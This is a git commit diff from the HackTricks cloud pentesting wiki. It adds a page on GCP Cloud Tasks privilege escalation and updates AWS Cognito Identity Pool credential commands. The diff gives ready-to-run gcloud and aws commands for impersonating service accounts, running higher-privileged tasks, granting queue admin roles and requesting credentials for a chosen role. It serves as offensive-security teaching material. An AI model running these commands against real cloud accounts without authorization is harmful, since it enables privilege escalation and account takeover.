Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud

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carlospolop
2025-08-18 16:36:42 +02:00
3 changed files with 78 additions and 12 deletions

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- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md) - [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
- [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md) - [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
- [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md) - [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
- [GCP - Cloud Tasks Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md)
- [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md) - [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md)
- [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md) - [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
- [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md) - [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)

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@@ -167,22 +167,36 @@ For this you might need to have access to the **identity provider**. If that is
Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured). Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured).
<pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \ <pre class="language-bash"><code class="lang-bash">
--identity-pool-id <identity_pool_id> \ # Updated format
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN> aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
# Get the identity_id from the previous commnad response
aws cognito-identity get-credentials-for-identity \ aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \ --identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN> --logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
# In the IdToken you can find roles a user has access because of User Pool Groups
# User the --custom-role-arn to get credentials to a specific role
aws cognito-identity get-credentials-for-identity \ aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \ --identity-id <identity_id> \
<strong> --custom-role-arn <role_arn> \ --custom-role-arn <role_arn> \
</strong> --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN> --logins '{"cognito-idp.<region>.amazonaws.com/<user_pool_id>": "<ID_TOKEN>"}'
</code></pre>
> **Deprecated format** — these may no longer work with current AWS CLI:
<pre class="language-bash"><code class="lang-bash">
aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--custom-role-arn <role_arn> \
--logins cognito-idp.<region>.amazonaws.com/<user_pool_id>=<ID_TOKEN>
</code></pre> </code></pre>
> [!WARNING] > [!WARNING]

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# GCP - Cloud Tasks Privesc
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## Cloud Tasks
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
An attacker with these permissions can **impersonate other service accounts** by creating tasks that execute with the specified service account's identity. This allows sending **authenticated HTTP requests to IAM-protected Cloud Run or Cloud Functions** services.
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
```
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
An attacker with these permissions can **run existing scheduled tasks** without having permissions on the service account associated with the task. This allows executing tasks that were previously created with higher privileged service accounts.
```bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
```
The principal executing this command **doesn't need `iam.serviceAccounts.actAs` permission** on the task's service account. However, this only allows running existing tasks - it doesn't grant the ability to create or modify tasks.
### `cloudtasks.queues.setIamPolicy`
An attacker with this permission can **grant themselves or other principals Cloud Tasks roles** on specific queues, potentially escalating to `roles/cloudtasks.admin` which includes the ability to create and run tasks.
```bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
This allows the attacker to grant full Cloud Tasks admin permissions on the queue to any service account they control.
## References
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
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